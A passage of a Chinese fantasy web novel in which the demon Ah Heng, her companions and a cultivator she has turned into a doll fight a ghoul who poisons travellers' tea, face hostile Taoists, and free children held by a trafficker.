在客栈大堂中守了整夜的堂倌才将客栈大门打开,程净竹与阿姮一行四人便出了大门,青灰的天色下,街市还残留潮湿的水气,阿姮一边走,一边问道:“去哪儿?” “岐山。” 程净竹简短道。 阿姮闻言看向他,清晨的晨雾正浓,阿姮这双眼睛看不见颜色,但依旧敏锐地辨出他那副疲惫的神态:“火种在岐山?你是如何知道的?” 程净竹睨她一眼,语气清淡:“我有我的办法。” “不说就不说。” 阿姮哼了一声。 积玉化出几柄金剑,几人御风穿云,行了半日,落身在山间猎户暂避风雨用的小茅屋中,积玉随身带了药材,在茅屋外煎药。 阿姮双手抱臂,站在门口,她凝视着在屋中那竹床上打坐的少年,他一身黑色的衣袍,里面露出雪白的衣领,双手放在膝上,肩背宽阔,剔透的宝珠压在襟前,衣摆临风而动,他闭着双眼,面无表情。 “程公子脸色看起来很不好。” 霖娘在阿姮身边,小声地说。 阿姮辨不出他脸色到底好还是不好,但这半日下来,她也察觉到了他比起昨日,精神似乎更加不济。 她总算明白过来,为什么他之前一定要她帮他找火种。 原来,他自己不是没有办法,而是这办法对他来说,似乎代价太大。 没有在这茅屋里耽搁太久,程净竹饮过汤药,几人便又走了一段路,程净竹一个人走在前面,阿姮跟在后面慢吞吞的,刻意拉出了点距离,她歪过头:“哎,你不是说要教我傀儡术吗?” 积玉看向她:“现在?” “不行?” “……行。” 积玉言出必行,既然要教,那就得好好教,他往阿姮那边靠近,却不防她身上猛然冒起熊熊烈火来,积玉吓得眼珠子都要瞪出来了:“你怎么又着火了?” “……” 阿姮黑着脸,咬牙道:“你离我远点。” 积玉不明所以,但还是往旁边跨出一大步,再看阿姮,她身上的火焰顷刻全部熄灭了,他满脸茫然,实在搞不清楚这到底是怎么一回事。 傀儡术其实不是什么复杂的法诀,只要将咒语和结印的步骤记清楚,再灌以自己的神志,便差不多了。 “你们药王殿怎么钻研出这么个术法?将人变成布娃娃,也不是很实用啊。” 霖娘在旁,发出疑问。 “……这是师祖当初钻研出来的,你们可别小瞧了这傀儡术,我们药王殿的人,所有的本源都与它相关,不但可以隐匿声息,若遭遇重创,此术加身,便可暂护神魂,”积玉说起这个,也有点不好意思,“师祖总有些奇怪的趣味,我们也不想变什么布娃娃啊。” 几人正说着话,却听得前面林子里隐隐约约有吹打之声。 那声音越来越近。 阿姮抬眼看去,林中道上,远远有一些人敲锣打鼓地往这边来,当中抬着一顶轿子,热热闹闹地近了。 一行人从他们身边过,阿姮听到那轿子里似乎有女子的哭声,跟随在侧的喜娘声声安抚:“只是嫁人,又不是这辈子和你爹娘都不见面了,你这门亲事,可是顶好的,你自己不是早想嫁一个如意郎君么?你的郎君会对你好的,快别哭了。” “喜娘说得是。” 轿子里,那新娘娇娇弱弱的声音传出:“我只是舍不得爹娘,所以有些忍不住,我都知道的,喜娘您给我找的是顶好的亲事,我不该哭,不该哭……” 轿子从阿姮身边过,那新娘的声音微弱不可闻。 凋敝的山林中,这支送亲的队伍红得浓烈,霖娘望着那顶渐远的花轿,不禁说道:“也不知道澹云小姐怎么样了,她为姻缘所伤,如今只能出家避世,也不知心中多么伤怀。” “伤怀?” 阿姮也在看那顶轿子:“你觉得她是因为伤怀才出家做女冠?” “难道不是吗?” “你们人类女子来到这世上,有多少都以为自己的一生都该在那虚无缥缈的如意郎君身上,她参透了其中的荒谬,看清了自己的人生轮回复轮回,全在牢笼之中,而从未见识过真正的天地,所以,她的出家,即是她的入世,是最值得她高兴的事。” 那日辞别,阿姮分明感受到了她的喜悦。 就像她在奈何桥上,也同样感受到谢朝燕对于新生的喜悦。 林中落木潇潇,那送亲的锣鼓声隐没,程净竹侧过脸,看向阿姮。 阿姮似有所感,她回过头,对上他的目光。 “怎么了小神仙?” 她笑盈盈的。 “走吧。” 程净竹转过身。 “何必那么着急呢?我们慢慢地走,不行吗?”阿姮慢悠悠地跟在后面。 “多耽误一日,便多一分变故。” 程净竹没有回头。 阿姮听见他又咳嗽起来,她盯着他那片冷白的后颈,忽然间,她觉得脸颊上有点冰凉的感觉。 “阿姮,下雪了!” 霖娘兴奋地拉住她。 雪? 阿姮仰起脸,纷纷扬扬的雪粒如盐,纷纷扬扬。 “小神仙。” 阿姮再度看向程净竹的背影,喊了一声。 程净竹回过头,纷纷雪意迎面而来。 阿姮穿着那身鲜红的衫裙,霖娘为她缝补好了破损的地方,如今看起来依旧崭新,她乌发红衣,发间的红山茶凌寒而放,艳丽无边。 她笑得狡黠。 几乎是在他转身看来的刹那,她抬手结印,红雾若缕。 程净竹顷刻化为一个布娃娃,被红雾相托,落到她手里。 这一切发生地太快,积玉简直目瞪口呆,他此时猛然明白过来,她要学这傀儡术,根本为的就是这个吧!! “阿姮。” 布娃娃在阿姮手里动也不动,程净竹冰冷的嗓音却落到她耳边:“将术法解开。” 阿姮的指尖勾弄着娃娃丝缎般的长发,笑盈盈地说:“我不。” “毕竟,我这么顽劣不堪,死性不改,” 她一字不差地将他的言辞复述,“我才不会听你的话,你知不知道,自从见你用过傀儡术之后,我等这一日很久了。” “你还是这副样子,最可爱。”《 》 55-60 第56章 第56章 阿姮眼睛弯起来:“今晚我就…… 邕宁之南, 酆水之源,东炎边境矗立群峰,巍峨若嶂,千百年奇险难攀, 烟云笼罩, 人迹罕至, 谓之,岐山。 阿姮几人风餐露宿,御风十来日, 落身在邕宁国南边的边境, 只要渡过酆水, 便将抵达东炎国边境, 到岐山之下。 阿姮走过一段山路,淡薄的落日余晖洒在路边的积雪上, 折射出点点晶莹的光, 前面是一片浓密的山林,林梢点点碎白, 远观像是朵朵白梅, 但几人走近, 方才发现所谓白梅, 竟是一粒又一粒白色的果实。 不远处有人背着竹筐在树下用冻红的手捏着枝子, 将那些果子一颗颗采下来,阿姮随手拈下来一粒,好奇地问:“这是什么东西?” 霖娘不知道, 转头看积玉。 积玉冷哼一声,明明知晓却并不作答。 “是乌桕子。” 那在树下摘果实的老翁回过头来,见是几个年轻人, 他松开那枝子,笑着指了指自己红肿皲裂的手:“天冷了,很多人会手足皲裂,用这乌桕子煎水来用,效果极好。” 那老翁一身粗布衣衫,身上只有个兽皮毛领子勉强御寒,他背着半筐乌桕子,又指了指前面:“几位,可要在小老儿的摊子上歇歇脚,吃碗热茶?” 阿姮顺着他所指的方向看去,只见前面不远处竟支着一个简陋的棚子,正有不少人坐在其中,阿姮见那些人身上穿着氅衣,又多佩剑,有人还将随身的八卦镜就放在桌上,一看便是玄门中人。 阿姮没拒绝,把玩着乌桕子,大步朝前去。 积玉身背金剑走过那老伯身边,四周风声凛凛,他瞥了一眼背后安静的金剑,步履慢下来:“我观这荒郊野岭,实在不是个好做生意的地方,不知老伯何故将茶摊置在此处?” 那老翁搓去手上残留的脏污,目光仍落在阿姮的后背,却笑呵呵地答积玉:“本不是个好地方,可自打岐山闹妖怪,四方修道之人都往岐山那边跑,这儿又是必经之路,所以,小老儿才在此置起这摊子来,挣几个茶钱。” 乌桕林中寒雾迷蒙,霖娘跟在阿姮身边,见那棚子里坐的尽是修道的玄门,她便小声对阿姮说道:“阿姮,你千万要好好收敛气息,别动用术法,否则被他们觉察出妖气就麻烦了。” “管好你自己。” 阿姮懒洋洋道。 “……”霖娘承认自己比阿姮更容易露馅,她从前一直不懂得如何隐藏自己的鬼气,如今得积玉指点,她勉强抓住了其中的关窍,但此时走进棚中,见那些玄门中人的目光一一落来,她紧绷着脸,大气都不敢出。 阿姮一进到茶棚中,便感受到阵阵清气,虽说是沁人心脾,却是根本比不上程净竹身上的清气精纯芳香。 道士们正说着话,却忽然见两名姝丽施施而来,在一张空桌前坐了下来,外面风雪弥漫,又一个年轻俊秀的修士身背金剑冷着脸走近那桌边坐了下来。 那两名姝丽实在各有各的美丽风姿,那碧衣女子手中持一菱花小镜,时时揽镜自照,可谓我见犹怜,而那红衣女子怀抱一个布娃娃,苍白纤细的手指不住地拨弄着那娃娃银灰色的发丝,垂眸含笑,艳丽绰约。 老翁端来热茶,放到桌上,说:“天冷,几位要趁热喝。” 见几个小师弟在偷偷地瞥那桌的姝丽,邻桌年长的道士重重地咳嗽了一声,几个小道士连忙收回目光。 阿姮却抬眸看了过去,见那几个小道士个个垂着脑袋,她莫名笑了一声。 她的笑声实在清越好听,几颗脑袋又有要忍不住望过去的趋势,那年长的道士将茶碗往桌上一放,顿时没人敢动,他这才看向积玉,主动开口:“小友,贫道观你眉心戒痕,可是上清紫霄宫弟子?” 积玉回过头,拱手道:“正是。” 一听上清紫霄宫,那几个小道士的脑袋一下转了过来,连着其他几桌的道士们也都看了过来。 “不知是上清紫霄宫中哪一殿?” 有道士问。 “药王殿。” 积玉说道。 那老翁正在别桌斟茶,茶壶口忽然抖了一下,茶水撒出碗去,顺着桌角滴滴答答地淌下。 “竟然是药王殿……我早听闻上清紫霄宫的大名,想不到今日在这荒郊野店之中,竟然能得遇药王殿弟子……幸甚至哉!” “都说药王殿以入世济人为己任,此前人间曾有两次滔天瘟疫横行,便是药王殿师祖,也就是如今的慈济真君在得道之前精研救世良方,救世人于水火,到如今,这良方仍被各国奉为宝典,精心保存!” “哎,小友,今日能与你在此相遇,可真是好缘分哪!” “是啊是啊!” 道士们十分热情地端起茶碗来,积玉倒有些不好意思起来,他忙摆手:“我只是药王殿中一个小辈,怎担得起诸位前辈这般相待?” 积玉说着,便也转头去端茶,却见阿姮将她怀里布娃娃的头发抽了一缕来编起了个小发辫,他眼睛都要瞪出眼眶来:“阿姮姑娘!” “啊?” 阿姮抬起眼皮。 积玉震怒:“你……放尊重点!” “这是我的娃娃,”阿姮笑盈盈地说,“关你什么事?” 积玉的脸黑了个透,但当着这么多人的面,他又不好说傀儡术的事,这时,邻桌的中年道士将目光落在阿姮身上,却问积玉:“敢问小友,这位姑娘也是药王殿的么?” “不是。”积玉从齿缝里挤出声音。 “我观她身上似乎清气非常,一般有此清气的修行之人应该已经大有所成,修成了一副金身,而修成金身之人,清气比常人要更精纯,这位姑娘一身清气毫无遮拦,可是受了什么重伤,金身破损所致?” 那中年道士说道。 阿姮隐藏了自己的妖气,却藏不住程净竹身上外露的清气,而修成金身的人身上的清气非比寻常,若金身尚在,禁制便在,妖邪必然因此忌惮。 但若金身破碎,清气外溢,必惹妖邪觊觎,危险至极。 那中年道士以为这外溢的清气是阿姮的,修成金身的也是阿姮,阿姮听了,不由一笑:“是啊,我受了很重的伤,金身已破,若遇见什么妖啊,邪的,我恐怕就要小命难保了。” “既然如此,姑娘为何还要到这儿来?难道你此行也是要往岐山?” 一个小道士开口问道。 “是啊。”阿姮说。 “岐山妖物横行,我们本是为除魔卫道而来,到了这儿才晓得惠山元君已然封山,惠山元君的结界不破,我们是进不去的,如今也正不知如何是好,说起来,如今这样的局面,姑娘还是不要在外面乱走的好,你这清气,是个妖邪闻到,都要飞流直下三千尺了!” “什么飞流直下三千尺?” 阿姮歪过脑袋。 另一个小道士正色道:“自然是口水!” 霖娘“扑哧”一声,笑了。 阿姮慢条斯理地将梳理好的发辫用手指勾散,银灰色的发丝卷曲的弧度几乎和她的头发差不多,她微微一笑:“是啊,我也这么觉得,忍了这么久,有些人的口水都要成瀑布了……” 寒风吹来,炉火中焰高数寸,上面的茶壶发出尖锐的鸣叫,站在一边的老翁却迟迟没有伸手去将茶壶拿起来。 阿姮端起茶碗,热烟浮动。 那老翁死死地盯住她,喉咙难耐地滑动几下,他松弛发皱的眼皮颤抖着,却是此时,阿姮倏尔将茶碗朝他扔去。 老翁猛然闪身一躲,茶碗落地“砰”的一声摔得粉碎,一柄金剑飞来,在他后背划出一道口子,刹那间,浓烈的烟雾散开,一副单薄如纸的皮囊轻飘飘地落在地上,赫然暴露出老翁青面獠牙的真容! “竟是个狞鬼!” 棚中道士脸色皆变,全都摸着法宝站起身。 邻桌的几个小道士却忽然捂住肚子,有人哀哀喊道:“师父,我,我肚子好痛……” “乌桕子虽可以入药,入了口却也能是一味毒,轻者,令人腹痛,重者,可令人肠穿肚烂,满腹灼烧而死。” 积玉双指结印,金剑悬在半空之中。 “什么?” 几个小道士脸都白了。 “师父,师父!” 他们吓得连声喊那中年道士:“您是不是知道这茶里有乌桕子?怪不得您一口没喝,却怎么不提醒我们呢!” 中年道士冷哼一声:“你们几个崽子,出门在外半点防人之心都没有,若不教你们吃些闷亏,你们怎会长记性?” “可我不想肠穿肚烂啊师父!” 一小道士哭着喊。 “别嚎了,那么点茶汤子怎么够让你们肠穿肚烂?你们若是被毒死了,身上那点清气也就散了,这狞鬼馋的不就是这个么?他怎舍得你们立马去死?” 那中年道士掏掏耳朵,呵斥了一声,又说:“为了让咱们中招,这鬼东西也算是煞费苦心,一点儿法术不敢使,只能用这下作的法子!” 狞鬼没了伪装的皮囊,一副青绿的脸皮显露无疑,一双血红的眼,满头蓬乱的发像极了凶兽粗硬的毛发,他张开嘴,獠牙粘连着口水,不断地淌下。 他紧紧地盯着阿姮,眼也不眨。 “姑娘,你看,有了你这个目标,我们这些人他都不当回事了!”那中年道士对阿姮说道。 阿姮抱着布娃娃,瞥一眼那狞鬼流口水的模样:“真恶心。” 积玉并拢双指,金剑顿时朝那狞鬼刺去,那狞鬼却灵巧得很,几个翻身躲开金剑,一双眼睛直溜溜地盯着阿姮,猛然朝她奔去。 没中招的几个道士几乎同时跨步往前,各自拿出法宝来,那中年道士一柄软剑使得灵活至极,柔软的剑身却锋利无边,狞鬼尖利漆黑的爪子探来,便被他削去了一截指甲。 “这路上都多少个了,全都是冲着程公子来的。” 霖娘在后面瞧着,不由叹了口气。 因为程净竹金身破损的缘故,这十多日以来,他们没少碰见找上门来的妖邪恶鬼,今日又撞上了这只守株待兔的狞鬼。 “小神仙,都怪你。” 阿姮指尖点了点布娃娃眉心的红痕:“那狞鬼看起来简直想生吞活剥了我,我看他的口水都要淌一条河了。” “你不许妄动。” 布娃娃闪烁淡淡金芒,冰冷的嗓音落在阿姮一个人的耳边。 阿姮却笑:“我为什么要听你的?” “当着这些人的面,你最好不要给自己找麻烦。” 布娃娃一动不动,阿姮又听见他的声音。 阿姮没有接话。 她当然明白,对她来说,麻烦的从来不是这只长得丑陋又恶心的狞鬼,而是这些玄门中的道士。 不是所有的玄门都像上清紫霄宫一样奉行只除恶,不求同的法理。 此时,那中年道士回过头看向身后的阿姮,他眼中浮出一丝怪异之色,凛冽的风含混烟雾而来,中年道士立即转头,只见面前的乌桕林竟然婆娑起舞,扎根在土地中的根须疯狂涌动,林梢树影朝他们逼来。 “这狞鬼竟然还懂阵法!” 中年道士颇为意外:“诸位玄友,速请诛妖伏鬼阵!” 积玉闻言,他立即转过脸,见一众道士已在结阵,他看向阿姮与霖娘,霖娘会意,立即拉着阿姮退到棚子外面,躲远了去。 诛妖伏鬼阵成,金色的阵法转动,众人脚下的土地开始变得沉重,压制住了那些涌动的根须,将它们埋没其下,使它们动弹不得。 那狞鬼被阵法刺激得头痛欲裂,一双血红的眼睛睁大,林梢之间乌桕子若冰雹坠落,兜头砸向众人,而狞鬼却在此时猛然看准阵法外面的红衣少女,嘶吼着飞奔而去。 那中年道士看了一眼炸开在脚边的乌桕子,那上面都是狞鬼身上歹毒的粘液,化在地上,滋滋冒烟。 他忽然松懈了结印的手。 阵法顿时碎裂一角。 狞鬼从裂缝中冲了出去,直奔阿姮。 夕阳在林梢之间闪烁碎光,浓郁的风雾拂动阿姮鲜红的裙摆,她抱着布娃娃,站在那里纹丝不动。 “姑娘!小心啊!” 棚子里的小道士见状,大喊道。 阿姮缓缓抬眸看向那冲来的狞鬼,他尖利的指甲直奔她的咽喉而去,瞬息之间,阿姮的身影化成红雾。 红雾如缕散开,整片乌桕林燃起熊熊烈火。 众人亲眼看着缕缕红雾又凝成那红衣少女的身影,她站在烈火之间,明明含笑,却眼波阴冷。 “积玉,左十步,金生土兑,乾坤有象。” 这一回,那中年道士听到她怀中的布娃娃发出一道年轻的声音。 积玉金剑飞出,往左十步,他双手结印,口中念着“金生土兑,乾坤有象”,金剑顿时嵌入土地之中,藏在地下的木系阵眼顿时碎裂,整个乌桕林不动了,乌桕子不再坠落,熊熊烈火吞噬着它们。 那狞鬼发出一声悲嚎,又不甘地望向阿姮怀中的布娃娃。 阿姮手指一勾,红云烈焰如簇,将狞鬼烧成一个火球,尖锐的哭嚎几乎响彻山野。 很快,狞鬼与整个乌桕林俱化成烟,缕缕散去。 这片山野恢复了它本来的模样,平坦的山坳中,落日的余晖照在所有人的身上,那几个小道士栖身的茶棚也消失得无影无踪。 中年道士摸了一把怀中震动的师刀,他眯着眼睛盯住阿姮:“方才路过你身边便觉得你身上的气息不对,那清气根本不在你身上,而在你手里那个布娃娃身上,你方才躲出诛妖伏鬼阵去,分明是心里有鬼!” “这姑娘……是妖?” 一个小道士顾不得腹中的疼痛,他摸到怀里震动的本命师刀,不敢置信。 “崽子,我早跟你们说了,修道的,心性要定,这荒郊野岭的,既能有这狞鬼开的要命茶摊,也能有这装出一副美女画皮的妖邪!” 中年道士沉声说道。 “看来你修为不一般,我明明将妖气藏得很好,你却只是路过我身边,便察觉到我的气息和你们人类的不一样,”阿姮说着,伸手摸了摸自己的脸颊,“可你说错了,我这不是什么画皮,这是我自己的壳子,我的本相。” “妖孽,你到底使了什么妖术?快将那位被你困住的修士放了!” 中年道士厉声说道。 “他本来就是我的。” 阿姮摸着布娃娃,对上那中年道士的目光:“我凭什么要听你的?” “诸位玄友,起阵!” 中年道士喊道。 其他几位道士立即开始结印。 积玉收了金剑,上前拦住他们:“诸位,诸位万莫如此,那并不是什么妖术,而是我上清紫霄宫药王殿的傀儡术,此术乃是药王殿正统,并非邪门歪道!” “你到底是不是药王殿弟子?怎么为这妖孽开脱?”一名道士怀疑道,“还是说她困住了你的同门,所以你才束手束脚,不敢与她为敌?” “笑话!我药王殿弟子除魔卫道何曾束手束脚不敢与邪魔为敌?”积玉火气一下子上来了,“我说过了,这都是误会!这位阿姮姑娘是与我一路的,并不是为恶的妖邪!” “阿姮,解开傀儡术。” 程净竹的声音从布娃娃里传来。 “我不。” 阿姮慢悠悠地说。 傀儡术只有施术的人才能提前解开,否则,便要足足十五日才能自动消解。 “不是为恶的妖邪?你怎么证明?” 一道士冷笑:“你可知道我们这一路遇上多少恶妖,多少恶鬼,他们伤了多少人,毁了多少地方的安宁?这还没到岐山呢,这些妖孽就如此猖獗,岐山上的那些妖孽如今都还靠惠山元君一力压制!她身上清浊二气难以分辨,谁知道她是个什么东西变的,到底有没有做恶!” 阿姮唇边仍有笑意:“小神仙,你说,若是他们执意杀我,我反抗之下把他们都弄死了,是不是也算做恶?” “你若是从北边过来,便该晓得那里如今是个什么模样,如今这些妖孽一个二个都翻了天了,北边都乱成什么样了,多少灾祸全是妖孽所为,妖本就是欲壑难填的怪物!怪物就是怪物,就算幻化出一副人的皮囊,也终究还是没有心肠的怪物!” 一名年轻的道士说道。 阿姮神情阴冷,缓缓说道:“算了,不问你了,反正,我一定会弄死他们。” 但话音才落,她却发现自己动弹不得。 阿姮脸色一沉,她看向自己指间的珠绳,其中金芒淡淡。 “收起你的脾气。” 布娃娃看起来那么可爱,可其中传出的声音却那么的冰冷:“他这么说,是他无知,你若为逞一时之气,去坐实他口中的那些话,便是你无知。” “我要弄哑你的嘴。” 阿姮生气极了。 他这张嘴总是骂她,就应该毒哑了,让他永远也说不出话。 霖娘看阿姮浑身红云直冒便知道她有多生气,霖娘站到阿姮身前,对那些道士说道:“就算是人也不见得都有心肠!人有好坏之分,妖也分善恶,阿姮从来没有滥杀无辜,你们凭什么一口一个怪物!” “我看你也不像个人。” 谁知沓樰獨家諍裡,那中年道士却盯住霖娘。 霖娘一顿,低下头,余晖在她身上,可地上却没有她的影子。 “积玉。” 布娃娃里再度传来程净竹的声音。 积玉立即领会,他一扬手,袖中钻出符箓,炸开道道金芒,苦涩的药味伴随浓密的烟雾笼罩而来,一干道士顿时什么也看不见了。 那中年道士立即施展明光咒术,驱散药雾,却再不见积玉与那两名女子的身影,风雾之中,积玉略带嘲讽的声音落在他们耳边: “乌桕子毒可解,而诸位心中的偏见之毒却若跗骨之疽,心中不悟,灵台不明,口口声声除魔卫道,却不过一二个样子货,实在可笑!” 几个小道士忽然发觉肚子竟然不痛了。 而那中年道士抬眼看向夕阳中淡淡的雾气,脸色沉沉。 此时天边涌来暗红的颜色,像流霞坠落,近了众人才觉得是瘆人的冷雾,那红雾拂来,几人的脑袋齐齐一偏,脸上赫然浮出红肿的巴掌印。 “师父!” 几个小道士却是好端端的,都瞪大了眼睛来回地瞧他们师父和其他同门高高肿起的脸。 “岂有此理啊!” 那年轻道士捂着生疼的脸,气得不轻,正要作法却发觉那红雾早已不知不觉散了个干净,踪影难寻。 积玉收了金剑,落身在一片小溪边,转身一见阿姮,他便说道:“跑路的时候你怎么还带回头的?” 溪边积雪重,水面都结冰了,夕阳余晖在冰面上映出漂亮的金痕,阿姮幽幽道:“有仇不报,睡不好觉。” “……你什么时候真睡过觉啊?” 积玉头疼得厉害。 “哎,积玉,好了好了,”霖娘连忙出来打圆场,“我们还是快走吧,别被他们追上,我看他们实在难缠,千万别再遇见了。” 积玉当然明白这些,他掏出舆图来看了一眼,便领着她们往前面不远的镇子上去,此时天还没有变黑,天边仍有流霞连绵。 趁天黑前,几人欲先找一家客栈住下,积玉在街上拦了个人问路,霖娘入镇之前给自己加了道术法,此时站在人群中,她倒也有一道足以以假乱真的影子了。 嗅到街边一点香味,霖娘一眼看到不远处有个老妪在卖糖果子,摊子上炸好了很多,却似乎没有什么人买,此时天快黑了,那老妪正慢吞吞地收拾摊子。 霖娘兴冲冲地拉着阿姮跑过去。 “阿姮,我记得你喜欢吃这个。” 霖娘说道。 阿姮瞥了一眼摊子上的东西,天还没有黑透,她看不到那些糖果子原本金黄的颜色:“已经不喜欢了。” “这么快就不喜欢了吗?” 霖娘愣了一下,但她抬头看了看天,又笑:“没事,一定是因为天还没有黑,所以你才没有食欲,我先给你买一包,万一你晚上忽然想吃了呢?” 两名姝丽在街边立着,本就十分惹人注目,不远处有个一身粗布衣衫的年轻男人来来回回地游荡,起初,他的目光还流连在那两名姝丽脸上,慢慢地,他视线下移,黏在那红衣少女怀中的布娃娃上。 那布娃娃看起来精美极了,腰间似乎缠有一圈极亮眼的银绳,又戴着一串清莹剔透的水青色宝珠。 男人几乎移不开眼,他摸了摸鼻子,拢紧衣衫快步过去。 越近,他的步履越踉跄,好似醉了酒的人步伐迈得毫无章法,身子一歪便朝那红衣少女身上撞去。 红衣少女忽然退了一步。 男人一下撞到摊子上,那老妪惊呼一声,男人跌坐在地,几个糖果子兜头砸下来,他有些不敢置信地盯住红衣少女怀中的布娃娃。 他的手明明已经够快,却连那珠饰都没摸到一下。 右手忽然剧痛,男人低头,只见整个手都被诡异的红云烈焰包裹,他瞪起眼睛,惊恐地大叫起来。 “阿姮!”霖娘倒吸一口凉气,连忙站过去,水波穿指而过,浇在那男人手上,红云烈焰消散,男人的手背上赫然几道烫伤。 这一切发生得实在太快,街上往来的行人本就十分稀少,根本没有谁注意到那男人手上的烫伤,便连那摊子后的老妪也没发觉什么诡异之处,只以为那男人是被她锅中漫出来的热油所伤,她吓了一跳:“你怎么自个儿往我油锅上凑?没事吧?” 男人对上阿姮那双笑盈盈的眼睛,他面露惊恐,嘴唇哆嗦着根本什么也说不出,爬起来就跑。 “你别在大街上捉弄人啊……” 霖娘接过来一包糖果子,凑近阿姮低声说道。 “霖娘,你们好了吗?” 另一边,积玉问清楚了客栈的方向,朝她们招手。 此时夕阳渐沉,眼看天色便要黑了,巷子口有个小孩儿一双圆溜溜的眼睛一瞬不瞬地盯着那红衣女子。 “小兔崽子,又琢磨什么呢?” 一巴掌忽然打在肩上,小孩儿踉跄倒地,他慌忙抬起头对上面前这刀疤脸男人,干裂破皮的嘴动了动:“没,没什么……” “没有?” 那刀疤脸冷笑一声:“你当老子不知道?你肚子里鬼主意最多!但我劝你最好老实点,否则再被我抓到,我便也不求将你卖出个好价了,就留在身边打断胳膊腿,成天跪街上讨钱!” “叔叔,我不敢了。” 小孩儿低下头,像是害怕得发抖:“您还是将我卖了吧,最好卖给那种什么都不缺,就缺一个儿子的那种人家。” 刀疤脸笑了:“兔崽子做什么春秋大梦呢?还想老子把你卖到大户人家去当少爷不成?起来!” 小孩儿双手都被麻绳捆住了,他一时起不来,那刀疤脸看着生气,一脚踹在他屁股上,小孩儿疼得眼眶积起泪花,却不住地说:“这就起,这就起!” 一双手摸索过来,拉住他站起来:“小山,你没事吧?” 小孩儿终于站起来,他生怕刀疤脸发怒,忙拉着跟他绑在一根麻绳上的少女,她的眼睛被脏脏的红布裹着,一张脸清癯又蜡黄。 “快走!” 刀疤脸呵斥道。 绑在麻绳最前端的男孩儿身子一抖,赶紧往前走,其他的小孩儿也都跟着走,小山拉着唯一的女孩儿坠在尾端,他看刀疤脸往前面走了几步,便望着前面那红衣少女,那女子与身边的人正要穿街而过,小山抿起嘴唇,拽了拽女孩儿的袖子。 女孩儿感觉到他的拉拽,便往他那边凑过去,小山赶紧小声对她说:“青娥姐姐,一会儿我冲出去,你就跟着我,知道吗?” 青娥一把抓住他的手,低声道:“你又要干什么?小山,你再不安分,他真的会打断你的腿……” “姐姐你听我的就是。” 小山说着,见刀疤脸转过头来,他立即闭嘴,耷拉下脑袋。 霖娘和阿姮买好了糖果子,转身便要往对面去,天上又开始落雪,此时一根麻绳穿起来好多个小孩从她们面前过,小孩儿们个个衣衫单薄,冻得瑟瑟发抖,缩着脖子闷头往前走。 “这些孩子……” 霖娘停下来。 阿姮正摆弄布娃娃,程净竹这些天几乎都不怎么理她,今日在那狞鬼的障眼法里是他说话最多的时候,此时他又安静了,阿姮玩他的头发,摸他的宝珠,他也没什么反应。 正是此时,一团小小的影子奔来,猛然间麻绳在阿姮身上缠了一圈,阿姮的腿一下子被抱住,她一顿,目光落在那个一屁股坐在雪地里,抱着她的腿,扬着一张脏兮兮的脸望着她的小孩儿。 “姐姐!救命!” 他喘着气,带着哭腔喊道。 天色又暗了点,阿姮的视线落在他那双胖乎乎的手上,四周缤纷的颜色涌向她的眼中,她方才看清这小孩儿的手根本不是胖,而是肿,每一根手指都红肿得不成样子,皲裂的口子布满他的关节,又是流血,又是流脓。 阿姮的裙摆都被他弄得脏了,她面无表情:“放开。” “求求你,救救我吧,姐姐,求求你!” 小山紧紧地抱着她的腿。 “我不喜欢管闲事。” 这小孩儿身上没多少力气,阿姮屈膝挣开他的手,他便一下摔倒了,阿姮垂眸瞥他:“尤其是你这种找上门来的闲事,我偏不爱管。” 小山一双手都陷在雪里,他的脸一下白了。 “求求你,救救我们吧,否则,否则小山会被打断手脚的!” 那双眼蒙着红布的青娥抓住面前的人,她却不知自己抓住的这个人与小山求的人根本不是同一个。 霖娘看着自己被她抓住的衣袖,正要张口,却见那脸上有道疤,看起来十分孔武有力的中年男人奔了过来,当场就抓起那小山骂道:“小兔崽子!老子就知道你不是个肯安分的东西!” 小山被他掐住了喉咙,整个人在半空中胡乱扑腾起来。 “住手!” 霖娘见状,立即喝道。 对面的积玉见了,也立即跑了过来:“快将这小孩儿放下来!” “老子管教自己买来的崽子,关你们什么事?”那刀疤脸冷嗤。 小山抓住刀疤脸的手,一双涨红的眼望向霖娘与积玉,艰难出声:“他,他是人牙子,哥哥姐姐……救我……求……” 阿姮抬眸看他。 这个人类小崽子看起来还是很小一个,但却似乎机灵得很,他看得出在她这儿讨不得什么好,又很快察觉到霖娘和积玉对他的怜悯之心,他便立即用这副可怜的样子乞求他们。 真有趣。 那刀疤脸还在骂:“兔崽子,看老子一会儿怎么收拾你……” 霖娘与积玉同时朝那刀疤脸逼近,却见淡淡红雾凭空乍现在那刀疤脸的颈项,他顿时像被狠狠扼住咽喉一般,手上的力道骤然松懈,小山一下摔在地上。 阿姮勾了勾手指,那刀疤脸整张脸都涨得乌红,他眼中惊恐万分,喉骨像是要被烧化了一般,嘴里发不出一点声音。 红雾扑面,像极了两只手左右开弓,扇得他整张脸很快肿成了猪头,鼻血不停地流,牙齿更是掉了个精光。 阿姮掏了掏耳朵,微微一笑:“安静多了。” 其他小孩儿见状,连忙挣脱绳子跑了,街上冷冷清清,早没什么人了,那些踩雪的声音远了,小山捂着脖子咳嗽了好一阵才缓过来。 “你不跑吗?” 听见这样一道慢悠悠的女声,小山抬起脸看向她,这个红衣女子看起来仍然是那么的无情,她那双眼睛隐隐闪动暗红的光影,晦暗的天色里,更暴露她那种非人的诡秘。 “谢谢姐姐。” 小山认真说道。 阿姮愣了一瞬,她站直身体,随手抓来霖娘手里那包糖果子,扔给他。 小山又说了声“谢谢”,然后拉着青娥飞快地跑了。 青娥回过头,红布在她脑后飞扬。 “我的钱,我的钱……” 被揍得头晕脑胀的刀疤脸朦胧中看见他们跑走的身影,不由含糊地喃喃:“他们都是我的钱哪!” 霖娘上去蹬了他一脚:“缺德的狗东西!” 积玉则连下数道咒印在他身上,末了冷声警告道:“有此咒印加身,往后你若仍然怙恶不悛,必然恶疾缠身,生死不能。” 阿姮不管他们,拿着布娃娃步履轻快地往前走,她试着喊了几声小神仙,可布娃娃还是一点动静都没有。 也不知道究竟是他不想理她,还是此时他正敛神疗伤。 “哎,往左边!” 积玉和霖娘将那刀疤脸收拾了一通,这才往前走,见阿姮要走错方向,积玉便提醒了一声。 阿姮回头看了他们一眼,往左边去了。 霖娘忽然喊:“积玉。” “啊?” 积玉转头看她。 这街上实在冷清无人,纷纷雪落,四周寒雾浓浓,霖娘望着阿姮轻快的背影,说道:“你方才看见了吗?阿姮嘴上那么说,却还是救了那个小孩。” 积玉问:“你要说什么?” “我只是想起从前,我与阿姮才刚刚相识的那个时候,”霖娘一边走,一边说道,“那时,我爹娘被人害死,我却早已是个水鬼之身,什么都不会,只会哭,我哭着求阿姮帮我报仇,可是她却说那不关她的事。” 积玉的步履忽然一顿。 